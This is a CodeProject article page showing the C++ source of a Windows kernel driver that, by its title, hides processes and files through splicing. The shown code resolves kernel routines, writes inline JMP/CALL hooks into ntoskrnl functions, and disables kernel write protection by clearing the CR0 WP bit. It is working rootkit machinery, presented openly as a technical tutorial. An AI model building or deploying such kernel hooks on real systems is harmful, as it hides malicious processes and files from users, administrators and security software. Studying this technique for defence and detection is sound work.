Click here to Skip to main content
15,881,812 members
Articles / Programming Languages / C++

Driver to Hide Processes and Files. Second Edition: Splicing

,
Rate me:
Please Sign up or sign in to vote.
4.93/5 (33 votes)
11 Mar 2011CPOL9 min read 69.3K   8.8K   115  
This article describes a driver that hides processes and files using the method of splicing.
#include "drvCommon.h"
#include "PLUtils.h"
#include "ServiceTableDef.h"

extern "C"
{
#include "ntddk_module.h"
};

#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
#define IMAGE_DIRECTORY_ENTRY_EXPORT          0   // Export Directory

typedef struct _IMAGE_EXPORT_DIRECTORY {
    unsigned long   Characteristics;
    unsigned long   TimeDateStamp;
    unsigned short  MajorVersion;
    unsigned short  MinorVersion;
    unsigned long   Name;
    unsigned long   Base;
    unsigned long   NumberOfFunctions;
    unsigned long   NumberOfNames;
    unsigned long   AddressOfFunctions;     // RVA from base of image
    unsigned long   AddressOfNames;         // RVA from base of image
    unsigned long   AddressOfNameOrdinals;  // RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

static PZwProtectVirtualMemoryType g_pZwProtectVirtualMemory=0;

PVOID
GetProcAddrEx(PVOID DllBase, IN PCHAR FunctionName, ULONG lMaxSize )
{
    PVOID Func = NULL;
    PULONG NameTableBase;
    PUSHORT NameOrdinalTableBase;
    PIMAGE_EXPORT_DIRECTORY ExportDirectory;
    PULONG Addr;
    ULONG ExportSize;
    ULONG Low;
    ULONG Middle;
    ULONG High;
    LONG Result;
    USHORT OrdinalNumber;

    ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)RtlImageDirectoryEntryToData(
        DllBase,
        TRUE,
        IMAGE_DIRECTORY_ENTRY_EXPORT,
        &ExportSize
        );


    if (ExportDirectory)
    {
        if (((char*)ExportDirectory<(char*)DllBase || (char*)ExportDirectory > (char*)DllBase+lMaxSize))
            return 0;

        NameTableBase =  (PULONG)((PCHAR)DllBase + (ULONG)ExportDirectory->AddressOfNames);
        if (((char*)NameTableBase<(char*)DllBase || (char*)NameTableBase > (char*)DllBase+lMaxSize))
            return 0;

        NameOrdinalTableBase = (PUSHORT)((PCHAR)DllBase + (ULONG)ExportDirectory->AddressOfNameOrdinals);
        if (((char*)NameOrdinalTableBase<(char*)DllBase || 
            (char*)NameOrdinalTableBase > (char*)DllBase+lMaxSize))
            return 0;

        Low = 0;
        High = ExportDirectory->NumberOfNames - 1;

        // test High
        if (((char*)(NameTableBase+High)<(char*)DllBase || 
            (char*)(NameTableBase+High)> (char*)DllBase+lMaxSize))
            return 0;

        while (High >= Low && (LONG)High >= 0) {

            Middle = (Low + High) >> 1;

            // test NameOrdinalTableBase[Middle]
            if ((ULONG)(NameTableBase[Middle]) > lMaxSize)
                return 0;

            Result = strcmp(FunctionName,
                (PCHAR)((PCHAR)DllBase + NameTableBase[Middle]));
            if (Result < 0) {
                High = Middle - 1;
            } else if (Result > 0) {
                Low = Middle + 1;
            } else {
                break;
            }
        }


        if ((LONG)High >= (LONG)Low) {

            // test NameOrdinalTableBase[Middle]
            if (((char*)(NameOrdinalTableBase+Middle)<(char*)DllBase || 
                (char*)(NameOrdinalTableBase+Middle)> (char*)DllBase+lMaxSize))
                return 0;


            OrdinalNumber = NameOrdinalTableBase[Middle];
            Addr = (PULONG)((PCHAR)DllBase + (ULONG)ExportDirectory->AddressOfFunctions);
            Func = (PVOID)((PCHAR)DllBase + Addr[OrdinalNumber]);

            if ((ULONG_PTR)Func > (ULONG_PTR)ExportDirectory &&
                (ULONG_PTR)Func < ((ULONG_PTR)ExportDirectory + ExportSize)) {
                    Func = NULL;
            }
        }
    }

    return Func;
}

PVOID
GetProcAddr(PVOID DllBase, IN PCHAR FunctionName )
{
    return GetProcAddrEx(DllBase, FunctionName, 0xFFFFFFF);
}

PVOID GetProcAddr(ULONG hModule, PCHAR lpProcName)
{
    return GetProcAddr((PVOID)hModule, lpProcName);
}

PVOID GetKernelAnalogAddress(ULONG hModule,PCHAR FuncName)
{
    PVOID function;
    ULONG index;
    function=GetProcAddr(hModule,FuncName);
    if (!function)
        return 0;

    index=SYSCALL_INDEX(function);
    return (PVOID)KeServiceDescriptorTable->ntoskrnl.ServiceTable[index];
}

NTSTATUS GetAllModulesInfo(PULONG * pRes)
{
    ULONG i;
    NTSTATUS status = STATUS_NOT_FOUND;

    unsigned long Base = 0;

    status = ZwQuerySystemInformation( SystemModuleInformation, &i, 0, &i ); // system module info
    if (status != STATUS_INFO_LENGTH_MISMATCH)
        return status;

    *pRes = (PULONG)ExAllocatePool(NonPagedPool, sizeof(ULONG)*i);

    if (!*pRes)
        return STATUS_NO_MEMORY;

    status = ZwQuerySystemInformation( SystemModuleInformation, *pRes, i * sizeof(ULONG), 0);
    if (status != STATUS_SUCCESS)
    {
        ExFreePool(*pRes);
        return STATUS_UNSUCCESSFUL;
    }
    return STATUS_SUCCESS;    
}

NTSTATUS GetModuleInfo(PCHAR Mod, SYSTEM_MODULE * pInfo)
{
    ULONG i;
    NTSTATUS status = STATUS_SUCCESS;
    PULONG pBuf = 0;
    PSYSTEM_MODULE_INFORMATION pModInfo;
    status = GetAllModulesInfo(&pBuf);
    if(status != STATUS_SUCCESS)
        return status;

    pModInfo = (PSYSTEM_MODULE_INFORMATION)pBuf;
    status = STATUS_NOT_FOUND;

    for (i=0; i<*pBuf; i++)
    {
        if (!_stricmp((CHAR*)pModInfo->aSM[i].abName + pModInfo->aSM[i].wNameOffset, Mod))
        {
            *pInfo=pModInfo->aSM[i];
            status = STATUS_SUCCESS;
            break;
        }
    }

    ExFreePool(pBuf);
    return status;
}

ULONG GetModuleBase(PCHAR Mod)
{
    NTSTATUS status = 0;
    SYSTEM_MODULE sysModuleInfo;
    status = GetModuleInfo(Mod, &sysModuleInfo);
    if(status != STATUS_SUCCESS)
        return 0;
    return (ULONG)sysModuleInfo.pAddress;
}

int __stdcall WriteMemoryWithWriter(MemoryWriter* pMemoryWriter,
                                       char* pPlace,
                                       char* pBuffer,
                                       unsigned long ulSize,          
                                       unsigned long* pulSizeOut )
{
    return pMemoryWriter->pWrite(pMemoryWriter, pPlace, pBuffer, ulSize, pulSizeOut );
}

int __stdcall AllocateHookEx(MemoryRWManager * pRwManager,
                                Allocator * pAllocator, 
                                void ** ppHook)
{
    int status = 0;
    int iHookSize = MAX_PATCH_SIZE+5;
    char hookBuffer[MAX_PATCH_SIZE+5];
    char * pHook = (char*)AllocateMemory(pAllocator, iHookSize);

    if (!pHook)
        return STATUS_BAD_ALLOC;

    memset(hookBuffer, 0x90, iHookSize);
    status = WriteMemoryWithWriter(pRwManager->pWriter, pHook, hookBuffer, iHookSize, 0);
    if (status)
        return STATUS_UNSUCCESSFUL;

    *ppHook = pHook;
    return 0;
}

void RevertTransactions(TransactionInfo* pTransactionInfo, 
                           int iFunctionsCount, 
                           Allocator * pHookAllocator,
                           MemoryRWManager* pRwManager)
{
    int i = 0;
    for( i =0; i < iFunctionsCount; ++i)
    {
        // revert patch
        if (pTransactionInfo[i].result.pChangedCode && pTransactionInfo[i].result.iPatchedSize)
        {
            WriteMemoryWithWriter(pRwManager->pWriter, 
                (char*)pTransactionInfo[i].pAddress,
                (char*)pTransactionInfo[i].result.pChangedCode,
                pTransactionInfo[i].result.iPatchedSize,
                0);
        }

        // delete hook
        if (pTransactionInfo[i].pHook)
        {
            FreeMemory(pHookAllocator, pTransactionInfo[i].pHook);
            pTransactionInfo[i].pHook = 0;
        }
    }
}

#define CALL_SIZE 5
int __stdcall InitializeHookEx(MemoryRWManager * pRwManager, unsigned char * pHook, unsigned char * pHandler)
{
    int status = 0;
    char buffer[CALL_SIZE];

    // Write CALL instruction into buffer 
    buffer[0] = 0xE8;  // 1 byte for CALL opcode
    *(size_t*)(buffer + 1) = (unsigned char *)pHandler - (pHook + CALL_SIZE); // 4 bytes for relative address

    // Copy CALL instruction from buffer to hook memory
    status = WriteMemoryWithWriter(pRwManager->pWriter, (char*)pHook, buffer, CALL_SIZE, 0);
    if (status)
        return STATUS_UNSUCCESSFUL;

    return STATUS_SUCCESS;
}

int PatchFunctions2Ex(MemoryManager * pMemoryManager,
                         MemoryRWManager * pRwManager,
                         Allocator * pAllocator,
                         Allocator * pHookAllocator,
struct Target ** ppTargetInfoVec,
    TransactionInfo * pTransactionInfo, 
    int iFunctionsCount)
{
    int i = 0;
    void * pHook=0;
    int iStatus = 0;
    for( i =0; i < iFunctionsCount; ++i)
    {
        // allocate and initialize hook
        {
            iStatus = AllocateHookEx(pRwManager, pHookAllocator, &pHook);
            if (iStatus != STATUS_SUCCESS)
                break;

            pTransactionInfo[i].pHook = pHook;

            iStatus = InitializeHookEx(pRwManager, (unsigned char*)pHook, (unsigned char*)pTransactionInfo->pHookHandler);
            if (iStatus != STATUS_SUCCESS)
                break;
        }
        // try to patch code
        iStatus = TryPatchCodeEx(pRwManager,
            (unsigned char*)pTransactionInfo[i].pAddress,
            pMemoryManager,
            ppTargetInfoVec,
            pHook);
        if (iStatus != STATUS_SUCCESS)
            break;
    }

    if (iStatus == STATUS_SUCCESS)
    {   
        // patch!
        int i = 0;
        for( i =0; i < iFunctionsCount; ++i)
        {
            // prepare result structure
            pTransactionInfo[i].result.pChangedCode = pTransactionInfo[i].resultBuffer;

            // patch code
            iStatus = PatchCodeEx(pRwManager,
                (unsigned char*)pTransactionInfo[i].pAddress, 
                pMemoryManager,
                ppTargetInfoVec, 
                pTransactionInfo[i].pHook,
                1,
                &pTransactionInfo[i].result);
            if (iStatus != STATUS_SUCCESS)
                break;
        }
    }

    // revert snapshot and clean hooks if failed
    if (iStatus != STATUS_SUCCESS)
    {
        RevertTransactions(pTransactionInfo, iFunctionsCount, pHookAllocator, pRwManager);
    }
    return iStatus;
}

MemoryRWManager * GetInternalMemoryRwManager()
{
    return &g_defaultRwManager;
}

int PatchFunctions2(MemoryManager * pMemoryManager,     
                       Allocator * pAllocator,     
                       Allocator * pHookAllocator,     
                       struct Target ** ppTargetInfoVec,     
                       TransactionInfo * pTransactionInfo,     
                       int iFunctionsCount)
{
    return PatchFunctions2Ex(pMemoryManager, 
        GetInternalMemoryRwManager(),
        pAllocator,
        pHookAllocator,
        ppTargetInfoVec,
        pTransactionInfo,
        iFunctionsCount);
}

int PatchSomething(SimplePatchContext * pContext, //IN
					  void * pPlaceToPatch,  // IN
					  void * pHook) // IN
{
	int iStatus = 0;
	TransactionInfo info[1];

	memset(&info, 0, sizeof(info));

	info[0].pAddress = pPlaceToPatch;
	info[0].pHookHandler = pHook;
	iStatus = PatchFunctions2(pContext->pMemoryManager,
		pContext->pAllocator,
		pContext->pHookAllocator,
		g_knownTargets,
		info, 
		1);
	return iStatus;
}

NTSTATUS PatchNtosFunction_npaged(wchar_t * pFunctionName, 
									 ULONG nameSizeInBytes, 
									 void * pHook, 
									 int * pRes)
{
	UNICODE_STRING  setProcessInfo;
	SimplePatchContext context;
	void * pTarget = 0;
	context.pAllocator = &g_kernelNonPagedAllocator;
	context.pHookAllocator = &g_kernelNonPagedAllocator;
	context.pMemoryManager = &g_kernelMemoryManager;

	*pRes = 0;
	setProcessInfo.Buffer = pFunctionName;
	setProcessInfo.Length = nameSizeInBytes;
	setProcessInfo.MaximumLength = nameSizeInBytes;

	pTarget = MmGetSystemRoutineAddress(&setProcessInfo);
	if (!pTarget)
		return STATUS_NOT_FOUND;

	{
		*pRes = PatchSomething(&context, pTarget, pHook);
		if (*pRes)
		{
			return STATUS_UNSUCCESSFUL;
		}
	}
	return STATUS_SUCCESS;
}

void __stdcall FreeMemory(Allocator* pAllocator, void* pBuffer)
{
    pAllocator->pFreeBuffer(pAllocator, pBuffer);
}

void* __stdcall AllocateMemory(Allocator* pAllocator, int iSize)
{
    return pAllocator->pAllocateBuffer(pAllocator, iSize);
}

int __stdcall AllocatePostParams(Allocator * pAllocator,
                                    int size, 
                                    void * pPostHandler,
                                    void ** ppParamsData, 
                                    void ** ppStub)
{
    unsigned char * pParamsData = (unsigned char*)AllocateMemory(pAllocator, GET_STUB_SIZE(size));
    unsigned char * pCaller = pParamsData+size;

    if (!pParamsData)
        return STATUS_BAD_ALLOC;

    FORM_POST_PARAMS(pParamsData, size, pPostHandler, pCaller)

    *ppParamsData = pParamsData;
    *ppStub = pCaller;
    return 0;
}

int TryPatchCodeEx(MemoryRWManager *pRwManager,
                      unsigned char * pAddress, 
                      MemoryManager * pMemoryManager,
struct Target ** targets,
    void * pHook)
{
    return PatchCodeEx(pRwManager,
        pAddress, 
        pMemoryManager,
        targets, 
        pHook,
        0,
        0);
}

int __stdcall ReadMemoryWithReader(  MemoryReader* pMemoryReader,
                                      char* pPlace,
                                      char* pBuffer,
                                      unsigned long ulSize,          
                                      unsigned long* pulSizeOut )
{
    return pMemoryReader->pRead ( pMemoryReader, pPlace, pBuffer, ulSize, pulSizeOut );
}

int IsCallInstruction(unsigned char * pAddress, int * pSize)
{
    if (*pAddress == 0xE8 || *pAddress == 0xE9)
    {
        *pSize = 5;
        return 1;
    }
    return 0;
}

int __stdcall UnprotectMemory(MemoryManager* pMemoryManager,       
                                 void* pBuffer)
{
    return pMemoryManager->pUnProtect(pMemoryManager, pBuffer);
}

#pragma pack(push, 1)
struct CCall
{
public:
    unsigned char bCode;
    unsigned char * pAddress;
};
#pragma pack(pop)

int IsJMP_short(unsigned char * pAddress, 
                int * pSize)
{
    if (*pAddress == 0xEB)
    {
        *pSize = 2;
        return 1;
    }
    return 0;
}

int __stdcall PatchMemory(MemoryManager* pMemoryManager,      
                             void * pBuffer,      
                             const void * pInfo,      
                             size_t size2Patch)
{
    return pMemoryManager->pPatcher(pMemoryManager, pBuffer, pInfo, size2Patch);
}

int InstallHook(MemoryManager * pMemoryManager,
                   unsigned char * pReadAddress,
                   unsigned char * pWriteAddress, 
                   int iSize, 
                   void * pHook,
                   PatchResult * pResult,
                   int iSizeOfRels,
                   unsigned char * pRels)
{
    unsigned char buff_nops[MAX_PATCH_SIZE];
    struct CCall * pCall = (struct CCall*)pWriteAddress;
    unsigned char * pStubStart = 0;
    int i=0;
    int status =  0;

    memset(buff_nops, 0x90, sizeof(buff_nops));
    // create stub
    {
        int lostI = 5, iInstuctionSize = 0;
        unsigned long * pCorrectionPtr = 0;
        unsigned long dwCorrectionValue = 0;
        unsigned long currShift = 0;

        pStubStart = (unsigned char * )pHook + 5;
        pResult->iPatchedSize = 0;

        currShift = (unsigned long)(pWriteAddress-pStubStart);
        // if starts with call
        if (IsJMP_short(pReadAddress, &iInstuctionSize))
        {
            unsigned char stubBuffer[5] = {0};
            unsigned char* bufferPtr = stubBuffer;
            // copy changed code for backup
            int u = 0;
            for(u=0; u < 5;++u)
            {
                pResult->pChangedCode[u] = pReadAddress[u];
                ++pResult->iPatchedSize;
            }

            pCorrectionPtr = (unsigned long * )(pStubStart+1);
            dwCorrectionValue = (unsigned long)(pWriteAddress-pStubStart)-3;

            // create stub
            *bufferPtr++ = 0xE9;
            *(unsigned long *)bufferPtr = (unsigned long)(signed char)pReadAddress[1];

            bufferPtr+=4;
            for(i=2; i < 5;++i)
            {
                *bufferPtr = pReadAddress[i];
                ++pStubStart;
            }
            status = PatchMemory(pMemoryManager, pStubStart, stubBuffer, 5);
            if (status)
                return status;
            pStubStart += 5;
        }
        else
        {
            unsigned char stubBuffer[5] = {0};
            int bufferIx = 0;

            int maxFor = 5;
            if (IsCallInstruction(pReadAddress, &iInstuctionSize))
            {
                pCorrectionPtr = (unsigned long * )(pStubStart+1);
                dwCorrectionValue = (unsigned long)(pWriteAddress-pStubStart);
            } 

            if ((iSizeOfRels) && (maxFor > *pRels)) 
            {
                maxFor = *pRels;
            }
            // move function bytes to stub
            for(i=0; i < maxFor;++i)
            {
                pResult->pChangedCode[i] = pReadAddress[i];
                ++pResult->iPatchedSize;

                stubBuffer[bufferIx] = pReadAddress[i];
                ++bufferIx;
            }
            status = PatchMemory(pMemoryManager, pStubStart, stubBuffer, bufferIx);
            if (status)
                return status;
            pStubStart += bufferIx;
        }
        // correct 
        if (pCorrectionPtr)
            *pCorrectionPtr += dwCorrectionValue;

        if (iSizeOfRels)
        {
            unsigned long * pCallPtr = (unsigned long * )(pReadAddress + *pRels);
            unsigned long currAdrOfCall = (unsigned long )*pCallPtr + currShift;
            status = PatchMemory(pMemoryManager, pStubStart, &currAdrOfCall, sizeof(currAdrOfCall));
            if (status)
                return status;
            status = PatchMemory(pMemoryManager, &(pResult->pChangedCode[i]), &currAdrOfCall, sizeof(currAdrOfCall));
            if (status)
                return status;
            pStubStart +=  4;
            i += 4;
        }
        {
            unsigned char stubBuffer[MAX_PATCH_SIZE] = {0};
            int bufferIx = 0;
            // move other data - not corrected!!!
            //lostI = i;
            for(; i < iSize;++i)
            {
                pResult->pChangedCode[i] = pReadAddress[i];
                ++pResult->iPatchedSize;

                stubBuffer[bufferIx] = pReadAddress[i];
                ++bufferIx;
            }
            status = PatchMemory(pMemoryManager, pStubStart, stubBuffer, bufferIx);
            if (status)
                return status;
            pStubStart += bufferIx;
        }

        {   // patch nops
            status = PatchMemory(pMemoryManager, pWriteAddress + lostI, buff_nops, iSize - lostI);
            if (status)
                return status;
        }
    }
    {
        unsigned char stubBuffer[5] = {0};
        unsigned char* bufferPtr = stubBuffer;

        *bufferPtr = 0xE9;
        *(size_t*)(bufferPtr+1) = (unsigned char * )pWriteAddress - pStubStart +iSize-5;

        status = PatchMemory(pMemoryManager, pStubStart, stubBuffer, 5);
        if (status)
            return status;

        // install hook
        {
            struct CCall source;

            source.bCode = 0xE9;
            source.pAddress = (unsigned char *)((unsigned char *)pHook - pWriteAddress - 5);

            status = PatchMemory(pMemoryManager, pCall, &source, sizeof(source));
            if (status)
                return status;
        }

        return status;
    }
}

int PatchCodeEx(MemoryRWManager *pRwManager,
                   unsigned char * pAddress, 
                   MemoryManager * pMemoryManager,
struct Target ** targets, 
    void * pHook,
    int bNeedPatch,
    PatchResult * pResult)
{
    int i = 0, u = 0;
    struct Target * used_target = 0;
    int iCallInstructionSize = 0;

    // check pre-defined targets
    unsigned char patchBuffer[MAX_PATCH_SIZE];
    int status = ReadMemoryWithReader(pRwManager->pReader, (char*)pAddress, (char*)patchBuffer, MAX_PATCH_SIZE, 0);
    if (status)
        return STATUS_UNSUCCESSFUL;
    if (IsCallInstruction(patchBuffer, &iCallInstructionSize))
    {
        status = UnprotectMemory(pMemoryManager, pAddress);
        status = UnprotectMemory(pMemoryManager, pHook);

        if (bNeedPatch)
        {
            return InstallHook(pMemoryManager,
                patchBuffer,
                pAddress, 
                iCallInstructionSize, 
                pHook,
                pResult, 
                0,
                0);
        }
        else
            return STATUS_SUCCESS;
    }

    // check targets
    for(i=0; targets[i] ;++i)
    {
        used_target = targets[i];
        if (used_target->iSize > MAX_PATCH_SIZE)
            return STATUS_INCORRECT_SIZE;

        for(u =0; u < used_target->iSize; ++u)
        {
            if ((patchBuffer[u]&used_target->pFlags[u]) != used_target->pData[u])
                goto cont1;

        }
        // target recognized
        status = UnprotectMemory(pMemoryManager, pAddress);
        status = UnprotectMemory(pMemoryManager, pHook);

        if (bNeedPatch)
            return InstallHook(pMemoryManager,
            patchBuffer,
            pAddress, 
            used_target->iSize, 
            pHook,
            pResult,
            used_target->iSizeOfRels,
            used_target->pRels);
        else
            return STATUS_SUCCESS;
cont1:;
    }
    return STATUS_PATCH_NOT_FOUND;
}

void __stdcall InitKernelAllocators(PZwProtectVirtualMemoryType pZwProtectVirtualMemory,
                                    Patcher_type pPatcher)
{
    g_pZwProtectVirtualMemory = pZwProtectVirtualMemory;
    g_kernelMemoryManager.pPatcher = pPatcher;
}

ULONG DisableKernelDefence(KIRQL  * OldIrql)
{
    ULONG OldCr0=0;

    __asm
    {
        cli
            mov     eax, cr0
            mov     OldCr0, eax
            and     eax, 0xFFFEFFFF
            mov     cr0, eax
    }
    return OldCr0;
}

VOID EnableKernelDefence(ULONG OldCr0, KIRQL OldIrql)
{
    __asm
    {
        mov  eax, OldCr0
            mov     cr0, eax
            sti
    }
}

int Defence_Patcher(MemoryManager* pMemoryManager, 
                    void * pBuffer, 
                    const void * pInfo, 
                    size_t size2Patch)
{
    KIRQL OldIrqL;
    ULONG OldCr0;

    OldCr0 = DisableKernelDefence(&OldIrqL);
    memcpy(pBuffer, pInfo, size2Patch);
    EnableKernelDefence(OldCr0, OldIrqL);
    return 0;
}

By viewing downloads associated with this article you agree to the Terms of Service and the article's licence.

If a file you wish to view isn't highlighted, and is a text file (not binary), please let us know and we'll add colourisation support for it.

License

This article, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)


Written By
Chief Technology Officer Apriorit Inc.
United States United States
ApriorIT is a software research and development company specializing in cybersecurity and data management technology engineering. We work for a broad range of clients from Fortune 500 technology leaders to small innovative startups building unique solutions.

As Apriorit offers integrated research&development services for the software projects in such areas as endpoint security, network security, data security, embedded Systems, and virtualization, we have strong kernel and driver development skills, huge system programming expertise, and are reals fans of research projects.

Our specialty is reverse engineering, we apply it for security testing and security-related projects.

A separate department of Apriorit works on large-scale business SaaS solutions, handling tasks from business analysis, data architecture design, and web development to performance optimization and DevOps.

Official site: https://www.apriorit.com
Clutch profile: https://clutch.co/profile/apriorit
This is a Organisation

33 members

Written By
Technical Lead Apriorit Inc.
Ukraine Ukraine
This member has not yet provided a Biography. Assume it's interesting and varied, and probably something to do with programming.

Comments and Discussions